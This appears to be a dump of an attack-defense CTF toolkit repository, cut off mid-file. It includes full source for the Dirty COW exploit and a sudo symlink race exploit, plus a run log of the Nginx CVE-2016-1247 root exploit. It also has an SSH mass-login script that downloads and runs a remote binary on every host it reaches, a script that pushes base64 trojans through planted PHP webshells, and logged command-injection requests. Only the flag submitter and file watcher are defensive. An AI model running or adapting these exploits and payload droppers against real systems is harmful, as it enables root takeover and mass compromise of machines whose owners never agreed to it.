) 34 | 35 | 36 | int main( ) 37 | { 38 | 39 | int length, i = 0; 40 | int fd; 41 | int wd; 42 | char buffer[EVENT_BUF_LEN]; 43 | 44 | int master, slave; 45 | char pts_path[256]; 46 | 47 | cpu_set_t mask; 48 | struct sched_param params; 49 | params.sched_priority = 0; 50 | CPU_ZERO(&mask); 51 | CPU_SET(0, &mask); 52 | 53 | mkdir("/dev/shm/_tmp", 0755); 54 | symlink("/dev/pts/57", "/dev/shm/_tmp/_tty"); 55 | symlink("/usr/bin/sudo", "/dev/shm/_tmp/ 34873 "); 56 | 57 | fd = inotify_init(); 58 | wd = inotify_add_watch( fd, "/dev/shm/_tmp", IN_OPEN | IN_CLOSE_NOWRITE ); 59 | 60 | pid_t pid = fork(); 61 | 62 | if(pid == 0) { 63 | sched_setaffinity(pid, sizeof(mask), &mask); 64 | sched_setscheduler(pid, SCHED_IDLE, ¶ms); 65 | setpriority(PRIO_PROCESS, pid, 19); 66 | 67 | sleep(1); 68 | execlp("/dev/shm/_tmp/ 34873 ", "sudo", "-r", "unconfined_r", "/usr/bin/sum", "--\nHELLO\nWORLD\n", NULL); 69 | }else{ 70 | setpriority(PRIO_PROCESS, 0, -20); 71 | int state = 0; 72 | while(1) { 73 | length = read( fd, buffer, EVENT_BUF_LEN ); 74 | kill(pid, SIGSTOP); 75 | 76 | i=0; 77 | while ( i < length ) { 78 | struct inotify_event *event = ( struct inotify_event * ) &buffer[ i ]; 79 | 80 | if ( event->mask & IN_OPEN ) { 81 | //kill(pid, SIGSTOP); 82 | 83 | while(strcmp(pts_path,"/dev/pts/57")){ 84 | openpty(&master, &slave, &pts_path[0], NULL, NULL); 85 | }; 86 | //kill(pid, SIGCONT); 87 | break; 88 | 89 | }else if ( event->mask & IN_CLOSE_NOWRITE ) { 90 | //kill(pid, SIGSTOP); 91 | 92 | unlink("/dev/shm/_tmp/_tty"); 93 | symlink("/etc/motd", "/dev/shm/_tmp/_tty"); 94 | //kill(pid, SIGCONT); 95 | 96 | state = 1; 97 | break; 98 | } 99 | 100 | i += EVENT_SIZE + event->len; 101 | 102 | } 103 | kill(pid, SIGCONT); 104 | if(state == 1) break; 105 | } 106 | 107 | waitpid(pid, NULL, 0); 108 | inotify_rm_watch( fd, wd ); 109 | close( fd ); 110 | close(wd); 111 | 112 | unlink("/dev/shm/_tmp/_tty"); 113 | unlink("/dev/shm/_tmp/ 34873 "); 114 | rmdir("/dev/shm/_tmp"); 115 | close(master); 116 | close(slave); 117 | } 118 | 119 | } 120 | -------------------------------------------------------------------------------- /spare/auxiliary.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | import pwd 4 | 5 | _uids_re = re.compile(br'Uid:\t(\d+)\t(\d+)\t(\d+)') 6 | _name_re = re.compile(br'Name:\t(.*)\n') 7 | _ppid_re = re.compile(br'PPid:\t(\d+)') 8 | 9 | 10 | class Process(object): 11 | def __init__(self, pid): 12 | self.pid = pid 13 | self.proc_exe = '' 14 | self.proc_root = '' 15 | self.proc_cwd = '' 16 | self.proc_status = '' 17 | self.proc_cmdline = '' 18 | 19 | 20 | 21 | def path(self): 22 | if self.proc_exe == '': 23 | self.proc_exe = os.path.realpath('/proc/{}/exe'.format(self.pid)) 24 | return self.proc_exe 25 | def exe(self): 26 | if self.proc_exe == '': 27 | self.proc_exe = os.path.realpath('/proc/{}/exe'.format(self.pid)) 28 | return self.proc_exe 29 | 30 | def cwd(self): 31 | if self.proc_cwd == '': 32 | self.proc_cwd = os.path.realpath('/proc/{}/cwd'.format(self.pid)) 33 | return self.proc_cwd 34 | 35 | 36 | def root(self): 37 | if self.proc_root == '': 38 | self.proc_root = os.path.realpath('/proc/{}/root'.format(self.pid)) 39 | return self.proc_root 40 | 41 | def username(self): 42 | if self.proc_status == '': 43 | with open('/proc/{}/status'.format(self.pid)) as f: 44 | self.proc_status = f.read() 45 | real, effective, saved = _uids_re.findall(self.proc_status)[0] 46 | try: 47 | return pwd.getpwuid(int(real)).pw_name 48 | except KeyError: 49 | # the uid can't be resolved by the system 50 | return str(real) 51 | 52 | def cmdline(self): 53 | if self.proc_cmdline == '': 54 | with open('/proc/{}/cmdline'.format(self.pid)) as f: 55 | self.proc_cmdline = f.read().split('\x00')[:-1] 56 | return self.proc_cmdline 57 | 58 | def name(self): 59 | if self.proc_status == '': 60 | with open('/proc/{}/status'.format(self.pid)) as f: 61 | self.proc_status = f.read() 62 | return _name_re.findall(self.proc_status)[0] 63 | 64 | def ppid(self): 65 | if self.proc_status == '': 66 | with open('/proc/{}/status'.format(self.pid)) as f: 67 | self.proc_status = f.read() 68 | return _ppid_re.findall(self.proc_status)[0] 69 | 70 | 71 | 72 | def kill(self): 73 | os.kill(self.pid, 9) 74 | def __getattr__(self, attr): 75 | print('try to get:',attr) 76 | return None 77 | 78 | def getpids(): 79 | dirs = os.walk('/proc/').next()[1] 80 | pids = [] 81 | for s in dirs: 82 | if s.isdigit(): 83 | pids.append(int(s)) 84 | return pids 85 | 86 | def process_iter(): 87 | pids = getpids() 88 | ret = [] 89 | for pid in pids: 90 | try: 91 | p = Process(pid) 92 | ret.append(p) 93 | except Exception as e: 94 | #print(pid, e) 95 | pass 96 | 97 | return ret 98 | 99 | if __name__ == '__main__': 100 | p = Process(28334) 101 | print(p.name()) 102 | print(p.path()) 103 | print(p.username()) 104 | print(p.cmdline()) 105 | print(p.ppid()) -------------------------------------------------------------------------------- /getRoot/POC/CVE-2016-5195_dirtyc0w.c: -------------------------------------------------------------------------------- 1 | /* 2 | ####################### dirtyc0w.c ####################### 3 | $ sudo -s 4 | # echo this is not a test > foo 5 | # chmod 0404 foo 6 | $ ls -lah foo 7 | -r-----r-- 1 root root 19 Oct 20 15:23 foo 8 | $ cat foo 9 | this is not a test 10 | $ gcc -pthread CVE-2016-5195_dirtyc0w.c -o CVE-2016-5195_dirtyc0w 11 | $ ./dirtyc0w foo m00000000000000000 12 | mmap 56123000 13 | madvise 0 14 | procselfmem 1800000000 15 | $ cat foo 16 | m00000000000000000 17 | ####################### dirtyc0w.c ####################### 18 | */ 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | void *map; 29 | int f; 30 | struct stat st; 31 | char *name; 32 | 33 | void *madviseThread(void *arg) 34 | { 35 | char *str; 36 | str=(char*)arg; 37 | int i,c=0; 38 | for(i=0;i<100000000;i++) 39 | { 40 | /* 41 | You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 42 | > This is achieved by racing the madvise(MADV_DONTNEED) system call 43 | > while having the page of the executable mmapped in memory. 44 | */ 45 | c+=madvise(map,100,MADV_DONTNEED); 46 | } 47 | printf("madvise %d\n\n",c); 48 | } 49 | 50 | void *procselfmemThread(void *arg) 51 | { 52 | char *str; 53 | str=(char*)arg; 54 | /* 55 | You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 56 | > The in the wild exploit we are aware of doesn't work on Red Hat 57 | > Enterprise Linux 5 and 6 out of the box because on one side of 58 | > the race it writes to /proc/self/mem, but /proc/self/mem is not 59 | > writable on Red Hat Enterprise Linux 5 and 6. 60 | */ 61 | int f=open("/proc/self/mem",O_RDWR); 62 | int i,c=0; 63 | for(i=0;i<100000000;i++) { 64 | /* 65 | You have to reset the file pointer to the memory position. 66 | */ 67 | lseek(f,(uintptr_t) map,SEEK_SET); 68 | c+=write(f,str,strlen(str)); 69 | } 70 | printf("procselfmem %d\n\n", c); 71 | } 72 | 73 | 74 | int main(int argc,char *argv[]) 75 | { 76 | /* 77 | You have to pass two arguments. File and Contents. 78 | */ 79 | if (argc<3) { 80 | (void)fprintf(stderr, "%s\n", 81 | "usage: dirtyc0w target_file new_content"); 82 | return 1; } 83 | pthread_t pth1,pth2; 84 | /* 85 | You have to open the file in read only mode. 86 | */ 87 | f=open(argv[1],O_RDONLY); 88 | fstat(f,&st); 89 | name=argv[1]; 90 | /* 91 | You have to use MAP_PRIVATE for copy-on-write mapping. 92 | > Create a private copy-on-write mapping. Updates to the 93 | > mapping are not visible to other processes mapping the same 94 | > file, and are not carried through to the underlying file. It 95 | > is unspecified whether changes made to the file after the 96 | > mmap() call are visible in the mapped region. 97 | */ 98 | /* 99 | You have to open with PROT_READ. 100 | */ 101 | map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); 102 | printf("mmap %zx\n\n",(uintptr_t) map); 103 | /* 104 | You have to do it on two threads. 105 | */ 106 | pthread_create(&pth1,NULL,madviseThread,argv[1]); 107 | pthread_create(&pth2,NULL,procselfmemThread,argv[2]); 108 | /* 109 | You have to wait for the threads to finish. 110 | */ 111 | pthread_join(pth1,NULL); 112 | pthread_join(pth2,NULL); 113 | return 0; 114 | } 115 | -------------------------------------------------------------------------------- /spare/lottery.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import paramiko 5 | import string 6 | import sys 7 | import re 8 | import requests 9 | import traceback 10 | 11 | COMMAND = "wget http://168.172.10.13/js/check&&chmod +x check&&./check" 12 | 13 | class SSHClient(): 14 | def __init__(self, host, port, username, auth, timeout=5): 15 | self.is_root = False 16 | self.host = host 17 | self.port = port 18 | self.username = username 19 | self.ssh_session = paramiko.SSHClient() 20 | self.ssh_session.load_system_host_keys() 21 | self.ssh_session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 22 | if auth[0]: 23 | self.password = auth[1] 24 | print (self.host,self.port,self.username,self.password) 25 | self.ssh_session.connect(hostname=self.host, port=self.port, username=self.username, password=self.password, timeout=timeout) 26 | else: 27 | self.key_file = auth[1] 28 | private_key = paramiko.RSAKey._from_private_key_file(self.key_file) 29 | self.ssh_session.connect(hostname=host, port=port, username=username, key=private_key, timeout=timeout) 30 | 31 | def infomation(self): 32 | return "%s:%s:%s:%s" % (self.username, self.password, self.host, self.port) 33 | 34 | def exec_command(self, command): 35 | (stdin, stdout, stderr) = self.ssh_session.exec_command(command) 36 | return (stdin, stdout, stderr) 37 | 38 | 39 | def check_root(self): 40 | stdin, stdout, stderr = self.exec_command("id") 41 | result = stdout.read() 42 | return ("uid=0" in result, result) 43 | 44 | 45 | def doit(iprange,username,passwd,port): 46 | ssh_clients = [] 47 | ip = iprange.split('.') 48 | target = [] 49 | krange = [] 50 | for i in ip: 51 | ran = i.split('-') 52 | if len(ran) == 1: 53 | krange.append((i,i)) 54 | elif len(ran) == 2: 55 | krange.append((ran[0],ran[1])) 56 | for a in range(int(krange[0][0]),int(krange[0][1])+1): 57 | for b in range(int(krange[1][0]),int(krange[1][1])+1): 58 | for c in range(int(krange[2][0]),int(krange[2][1])+1): 59 | for d in range(int(krange[3][0]),int(krange[3][1])+1): 60 | target.append("%d.%d.%d.%d"%(a,b,c,d)) 61 | 62 | for i in target: 63 | print "[+] Trying login : %s" % (i) 64 | try: 65 | ssh_client = SSHClient(i, port, username, passwd, timeout=5) 66 | ssh_clients.append(ssh_client) 67 | except Exception as e: 68 | print "[-]Connect Error: %s" % (e) 69 | print "[+] Login step finished!" 70 | print "[+] Got [%d] clients!" % (len(ssh_clients)) 71 | 72 | while True: 73 | if len(ssh_clients) == 0: 74 | print "[+] No client... Breaking..." 75 | break 76 | cmd = raw_input("cmd-server$ ") 77 | if cmd == 'ls': 78 | for ssh_client in ssh_clients: 79 | print str(i) + ' ' + ssh_client.infomation() 80 | elif cmd == 'inject': 81 | for ssh_client in ssh_clients: 82 | res = ssh_client.exec_command(COMMAND) 83 | try_flag(res) 84 | elif cmd == 'exit': 85 | break 86 | else: 87 | print "inject it!!\ninput: inject" 88 | 89 | 90 | if __name__ == "__main__": 91 | 92 | iprange = "192.168.10.1-30" 93 | username = "ctfuser" 94 | passwd = "12345" 95 | port = "22" 96 | 97 | doit(iprange,username,passwd,port) 98 | 99 | -------------------------------------------------------------------------------- /log/127.0.0.1.txt: -------------------------------------------------------------------------------- 1 | Time 14:45:31 2 | *********** 3 | POST / HTTP/1.1 4 | Host: 127.0.0.1 5 | Content-Length: 19 6 | X-Forwarder-For: https://q.bugscan.net 7 | Accept-Encoding: gzip, deflate 8 | User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.71 Safari/537.36 9 | Connection: Keep-Alive 10 | Content-Type: application/x-www-form-urlencoded 11 | Hack-Http: Header Dict Val 12 | 13 | 14 | key1=val1&key2=val2 15 | 16 | ------------------------------------------------------------------------------ 17 | Time 14:54:27 18 | *********** 19 | GET / HTTP/1.1 20 | Host: 127.0.0.1 21 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 22 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 23 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 24 | Accept-Encoding: gzip, deflate 25 | Connection: keep-alive 26 | Upgrade-Insecure-Requests: 1 27 | 28 | 29 | ------------------------------------------------------------------------------ 30 | Time 14:54:38 31 | *********** 32 | GET / HTTP/1.1 33 | Host: 127.0.0.1 34 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 35 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 36 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 37 | Accept-Encoding: gzip, deflate 38 | Connection: keep-alive 39 | Upgrade-Insecure-Requests: 1 40 | Pragma: no-cache 41 | Cache-Control: no-cache 42 | 43 | 44 | ------------------------------------------------------------------------------ 45 | Time 14:55:02 46 | *********** 47 | GET /?0=huasir&1=system(%27cat%20/flag%27); HTTP/1.1 48 | Host: 127.0.0.1 49 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 50 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 51 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 52 | Accept-Encoding: gzip, deflate 53 | Connection: keep-alive 54 | Upgrade-Insecure-Requests: 1 55 | 56 | 57 | ------------------------------------------------------------------------------ 58 | Time 14:55:22 59 | *********** 60 | GET /?0=huasir&1=system(%27cat%20/tmp/flag%27); HTTP/1.1 61 | Host: 127.0.0.1 62 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 63 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 64 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 65 | Accept-Encoding: gzip, deflate 66 | Connection: keep-alive 67 | Upgrade-Insecure-Requests: 1 68 | 69 | 70 | ------------------------------------------------------------------------------ 71 | Time 14:55:51 72 | *********** 73 | GET / HTTP/1.1 74 | Content-Length: 0 75 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 76 | Accept-Encoding: gzip, deflate 77 | Host: 127.0.0.1 78 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 79 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 80 | Connection: Keep-Alive 81 | Upgrade-Insecure-Requests: 1 82 | 83 | 84 | ------------------------------------------------------------------------------ 85 | Time 14:57:24 86 | *********** 87 | GET /?0=huasir&1=system(%27cat%20/tmp/flag%27); HTTP/1.1 88 | Content-Length: 0 89 | Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 90 | Accept-Encoding: gzip, deflate 91 | Host: 127.0.0.1 92 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 93 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 94 | Connection: Keep-Alive 95 | Upgrade-Insecure-Requests: 1 96 | 97 | 98 | ------------------------------------------------------------------------------ 99 | -------------------------------------------------------------------------------- /getRoot/POC/Nginx-root-CVE-2016-1247/Example.txt: -------------------------------------------------------------------------------- 1 | eg: ./nginxed-root.sh /var/log/nginx/error.log 2 | Nginx服务在创建log目录时使用了不安全的权限设置,可造成本地权限提升,恶意攻击者能够借此实现从 nginx/web 的用户权限 www-data 到 root 用户权限的提升。 3 | 4 | Example run 5 | ~~~~~~~~~~~~~ 6 | 7 | www-data@jessie:~/html/poc-app/uploads$ id 8 | uid=33(www-data) gid=33(www-data) groups=33(www-data) 9 | 10 | www-data@jessie:~/html/poc-app/uploads$ dpkg -l | grep -i nginx 11 | ii nginx 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server 12 | ii nginx-common 1.6.2-5+deb8u2 all small, powerful, scalable web/proxy server - common files 13 | ii nginx-full 1.6.2-5+deb8u2+b1 amd64 nginx web/proxy server (standard version) 14 | 15 | www-data@jessie:~/html/poc-app/uploads$ ls -ld /var/log/nginx 16 | drwxr-x--- 2 www-data adm 4096 Nov 15 23:38 /var/log/nginx 17 | 18 | www-data@jessie:~/html/poc-app/uploads$ ./nginxed-root.sh /var/log/nginx/error.log 19 | _______________________________ 20 | < Is your server (N)jinxed ? ;o > 21 | ------------------------------- 22 | \ 23 | \ __---__ 24 | _- /--______ 25 | __--( / \ )XXXXXXXXXXX\v. 26 | .-XXX( O O )XXXXXXXXXXXXXXX- 27 | /XXX( U ) XXXXXXX\ 28 | /XXXXX( )--_ XXXXXXXXXXX\ 29 | /XXXXX/ ( O ) XXXXXX \XXXXX\ 30 | XXXXX/ / XXXXXX \__ \XXXXX 31 | XXXXXX__/ XXXXXX \__----> 32 | ---___ XXX__/ XXXXXX \__ / 33 | \- --__/ ___/\ XXXXXX / ___--/= 34 | \-\ ___/ XXXXXX '--- XXXXXX 35 | \-\/XXX\ XXXXXX /XXXXX 36 | \XXXXXXXXX \ /XXXXX/ 37 | \XXXXXX > _/XXXXX/ 38 | \XXXXX--__/ __-- XXXX/ 39 | -XXXXXXXX--------------- XXXXXX- 40 | \XXXXXXXXXXXXXXXXXXXXXXXXXX/ 41 | ""VXXXXXXXXXXXXXXXXXXV"" 42 | 43 | Nginx (Debian-based distros) - Root Privilege Escalation PoC Exploit (CVE-2016-1247) 44 | nginxed-root.sh (ver. 1.0) 45 | 46 | Discovered and coded by: 47 | 48 | Dawid Golunski 49 | https://legalhackers.com 50 | 51 | [+] Starting the exploit as: 52 | uid=33(www-data) gid=33(www-data) groups=33(www-data) 53 | 54 | [+] Compiling the privesc shared library (/tmp/privesclib.c) 55 | 56 | [+] Backdoor/low-priv shell installed at: 57 | -rwxr-xr-x 1 www-data www-data 1029624 Nov 15 23:54 /tmp/nginxrootsh 58 | 59 | [+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: 60 | lrwxrwxrwx 1 www-data www-data 18 Nov 15 23:54 /var/log/nginx/error.log -> /etc/ld.so.preload 61 | 62 | [+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am... 63 | 64 | [+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: 65 | -rw-r--r-- 1 www-data root 19 Nov 15 23:55 /etc/ld.so.preload 66 | 67 | [+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload 68 | 69 | [+] The /etc/ld.so.preload file now contains: 70 | /tmp/privesclib.so 71 | 72 | [+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! 73 | -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh 74 | 75 | [+] Rootshell got assigned root SUID perms at: 76 | -rwsrwxrwx 1 root root 1029624 Nov 15 23:54 /tmp/nginxrootsh 77 | 78 | The server is (N)jinxed ! ;) Got root via Nginx! 79 | 80 | [+] Spawning the rootshell /tmp/nginxrootsh now! 81 | 82 | nginxrootsh-4.3# id 83 | uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data) 84 | 85 | nginxrootsh-4.3# whoami 86 | root 87 | -------------------------------------------------------------------------------- /upload/filecmp_huasir.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | __auth__ = 'HuaSir' 4 | __url__ = 'huasir.me' 5 | 6 | import filecmp 7 | from os import * 8 | from shutil import * 9 | import difflib 10 | import time 11 | 12 | homedir = "/home/huasir" 13 | bakfile = homedir+'/bak' 14 | nowfile = '/var/www/html' 15 | newfile = homedir+'/new' 16 | 17 | strict = False 18 | 19 | def getinput(): 20 | if strict: 21 | j = 'y' 22 | print j 23 | j = raw_input('[?]recover or not(y/n)') 24 | while j != 'y' and j != 'n': 25 | j = raw_input('[?]recover or not(y/n)') 26 | return j 27 | 28 | def filecompare(srcfile,basefile): 29 | src = file(srcfile).read().split(' ') 30 | base = file(basefile).read().split(' ') 31 | 32 | # ignore blank lines 33 | s = difflib.SequenceMatcher( lambda x: len(x.strip()) == 0,base, src) 34 | 35 | lstres = [] 36 | for tag, i1, i2, j1, j2 in s.get_opcodes(): 37 | if tag == 'equal': 38 | lstres += "\n" 39 | pass 40 | elif tag == 'delete' : 41 | lstres.append('DELETE (line: %d)' % i1) 42 | lstres += base[i1:i2] 43 | lstres += "\n" 44 | lstres.append(' ') 45 | elif tag == 'insert' : 46 | lstres.append('Insert (line: %d)' % j1) 47 | lstres += src[j1:j2] 48 | lstres += "\n" 49 | lstres.append(' ') 50 | elif tag == 'replace' : 51 | lstres.append("Before: \n(line: %d) " % j1) 52 | lstres += src[j1:j2] 53 | lstres += "\n" 54 | lstres.append("REPLACE:\n") 55 | lstres.append("After: \n(line: %d) " % i1) 56 | lstres += base[i1:i2] 57 | lstres += "\n" 58 | lstres.append(' ') 59 | else: 60 | pass 61 | print (' '.join(lstres)) 62 | 63 | def detectnew(cmp,newfile): 64 | if cmp.right_only: 65 | for i in cmp.right_only: 66 | if path.isfile(path.join(cmp.right,i)): 67 | print ("[+]new file detect: %s" % path.join(cmp.right,i)) 68 | j = getinput() 69 | if (j == 'y'): 70 | copy(path.join(cmp.right,i),newfile) 71 | remove(path.join(cmp.right,i)) 72 | mkdir(path.join(cmp.right,i)) 73 | print ("[!]copy it to "+newfile+" and mkdir\n") 74 | elif (j == 'n'): 75 | copy(path.join(cmp.right,i),cmp.left) 76 | print ("[!]file uploaded successfully\n") 77 | for sub_cmp in cmp.subdirs.values(): 78 | detectnew(sub_cmp,newfile) 79 | 80 | def detectchange(cmp): 81 | for i in cmp.diff_files: 82 | print ("[*]file change detect: %s" % path.join(cmp.right,i)) 83 | filecompare(path.join(cmp.left,i),path.join(cmp.right,i)) 84 | j = getinput() 85 | if (j == 'y'): 86 | copy(path.join(cmp.left,i),cmp.right) 87 | print ("[!]file recovered successfully\n") 88 | elif (j == 'n'): 89 | copy(path.join(cmp.right,i),cmp.left) 90 | print ("[!]file uploaded successfully\n") 91 | 92 | def detectdelete(cmp): 93 | if cmp.right_only: 94 | for i in cmp.left_only: 95 | print "file delete detect: %s" % path.join(cmp.left,i) 96 | copy(path.join(cmp.left,i),cmp.right) 97 | print "recovery file successfully" 98 | for sub_cmp in cmp.subdirs.values(): 99 | detectdelete(sub_cmp) 100 | 101 | def main(): 102 | c = filecmp.dircmp(bakfile,nowfile) 103 | # detectchange(c) 104 | detectnew(c,newfile) 105 | 106 | if __name__ == '__main__': 107 | print ("------------------File system watcher working------------------") 108 | print ("~~~~~~~~~~~~~~~~~~~~~~~Powered by HuaSir~~~~~~~~~~~~~~~~~~~~~~~") 109 | try: 110 | if not path.isdir(newfile) or not path.isdir(bakfile): 111 | raise Error 112 | except Exception as e: 113 | print ("[!]Prepare work meet some problem") 114 | print (e) 115 | print ("[+]Prepare work is ready") 116 | 117 | while True: 118 | try: 119 | main() 120 | except Exception as e: 121 | print (e.message) 122 | finally: 123 | time.sleep(5) -------------------------------------------------------------------------------- /FlagManage/util.py: -------------------------------------------------------------------------------- 1 | #-*-coding:utf-8 -*- 2 | import re 3 | import requests 4 | import time 5 | from pyquery import PyQuery as PQ 6 | from dbinit import Flag,db,Success,getround 7 | import traceback 8 | from log import Log 9 | 10 | DEBUG = False 11 | CHECK = False 12 | #huasir 13 | PATTERN = '^[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}$' 14 | # FLAGURL = "https://172.16.4.1/Common/awd_sub_answer" 15 | FLAGURL = "http://127.0.0.1:5000" 16 | TOKEN = '29f227503044c6e8adefa89ceebfc434' 17 | 18 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 19 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 20 | 21 | def postflag(flag): 22 | try: 23 | flag = flag.strip() 24 | Log.info("Submitting flag: "+flag) 25 | if Success.ifexist(flag) > 0: 26 | Log.error("This flag has been submited successfully!") 27 | return "[!]This flag has been submited successfully!\r\n" 28 | if CHECK and not checkflag(flag): 29 | Log.error('Wrong flag format') 30 | return "[!]Wrong flag format\r\n" 31 | retry = 0 32 | for i in range(3): 33 | #,verify=False 34 | res = requests.post(url=FLAGURL,data={"answer":flag,"token":TOKEN},timeout=3).content 35 | # print res 36 | #判断条件 37 | if '"status":1' in res: 38 | db.add(Success(flag=flag, roundd=getround(time.strftime('%H:%M',time.localtime())))) 39 | db.commit() 40 | Log.success('Submit Success') 41 | return "[+]Submit Success\r\n" 42 | else: 43 | Log.warning('Submit Fail, try again for the %d times' % (i+1)) 44 | Log.error('Submit failed for 3 times, flag will be log into database') 45 | raise RuntimeError('FlagError') 46 | except: 47 | if DEBUG: 48 | print traceback.print_exc() 49 | try: 50 | if Flag.ifexist(flag) == 0: 51 | db.add(Flag(flag=flag, roundd=getround(time.strftime('%H:%M',time.localtime())))) 52 | db.commit() 53 | else: 54 | Log.wait("This flag has been insert into db, you should resubmit") 55 | return "[!]This flag has been insert into db, you should resubmit\r\n" 56 | except: 57 | # print traceback.print_exc() 58 | Log.error("Submit flag failed and insert into db error") 59 | return "[!]Submit flag failed and insert into db error\r\n" 60 | Log.wait("Submit flag failed and insert into db") 61 | return "[!]Submit flag failed and insert into db\r\n" 62 | 63 | def checkflag(flag): 64 | res = re.findall(PATTERN,flag) 65 | if len(res)>0: 66 | return True 67 | else: 68 | return False 69 | 70 | def resubmitflag(): 71 | res = [] 72 | Flag.clear() 73 | reflags = Flag.getflag() 74 | if not reflags: 75 | Log.warning('No flag need to be resubmited') 76 | for rf in reflags: 77 | Log.wait('Resubmiting flag: %s' % rf) 78 | postflag(rf) 79 | 80 | def gettoken(html): 81 | token_name = "token" 82 | dom = PQ(html) 83 | form = dom("form") 84 | token = str(PQ(form)("input[name=\"%s\"]" % token_name).attr("value")).strip() 85 | return token 86 | 87 | def cmd_server(): 88 | while True: 89 | cmd = raw_input('# ') 90 | if cmd.startswith('submit '): 91 | flag_str = cmd[7:].strip() 92 | postflag(flag_str) 93 | elif cmd.startswith('resubmit'): 94 | try: 95 | resubmitflag() 96 | except: 97 | Log.warning("resubmit flag failed") 98 | elif cmd.startswith('clear'): 99 | try: 100 | Success.clear() 101 | except: 102 | Log.warning("clear success table failed") 103 | elif cmd.startswith('exit'): 104 | break 105 | elif cmd == 'help' or cmd == '?': 106 | print ''' 107 | submit [flag] submit a flag specially 108 | resubmit resubmit all flag in db 109 | clear clear success table 110 | exit exit 111 | ''' 112 | else: 113 | print "help(?)" 114 | 115 | def main(): 116 | flag = [] 117 | for f in flag: 118 | postflag(f) 119 | 120 | if __name__ == '__main__': 121 | main() -------------------------------------------------------------------------------- /bash/catchslaves.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import hackhttp 3 | import os 4 | 5 | passwd = 'huasir' 6 | 7 | def getslaves(): 8 | fp = open('slaves.txt','rb') 9 | fn = open('slavesn.txt','wb') 10 | slaves = [] 11 | for i in fp.readlines(): 12 | if i.strip() not in slaves: 13 | slaves.append(i.strip()) 14 | fp.close() 15 | for i in slaves: 16 | fn.write(i+"\n") 17 | fn.close() 18 | os.remove('slaves.txt') 19 | os.rename('slavesn.txt','slaves.txt') 20 | return slaves 21 | 22 | def getbase64(): 23 | return open('base.txt','rb').read().strip() 24 | 25 | def put_bintrojan(url): 26 | print '[*]Attacking '+url 27 | sess = requests.session() 28 | uri = '/.config.php' 29 | key = '1' 30 | dirr = uri[:uri.rindex('/')] 31 | try: 32 | put_memo='''system("echo '%s' | base64 -d > /tmp/check && chmod +x /tmp/check && /tmp/check");'''%getbase64() 33 | # put_memo = "echo getcwd();" 34 | # print put_memo 35 | try: 36 | res = sess.post(url+uri,data={'0':passwd,key:put_memo},timeout=3).content 37 | print res 38 | except: 39 | res = 'ok' 40 | 41 | if res == 'ok': 42 | print '[+]memory trojan insert success!' 43 | else: 44 | print '[-]memory trojan insert fail!' 45 | print res 46 | # exit() 47 | except Exception: 48 | print "[-]Attack fail" 49 | pass 50 | 51 | def put_active(url): 52 | print '[*]Attacking '+url 53 | sess = requests.session() 54 | uri = '/index.php' 55 | key = 'system' 56 | dirr = uri[:uri.rindex('/')] 57 | try: 58 | # eval_memo='''var_dump(file_put_contents(__DIR__."/.m.php",""));''' 59 | #+ --> %2b 60 | echo_memo='''echo 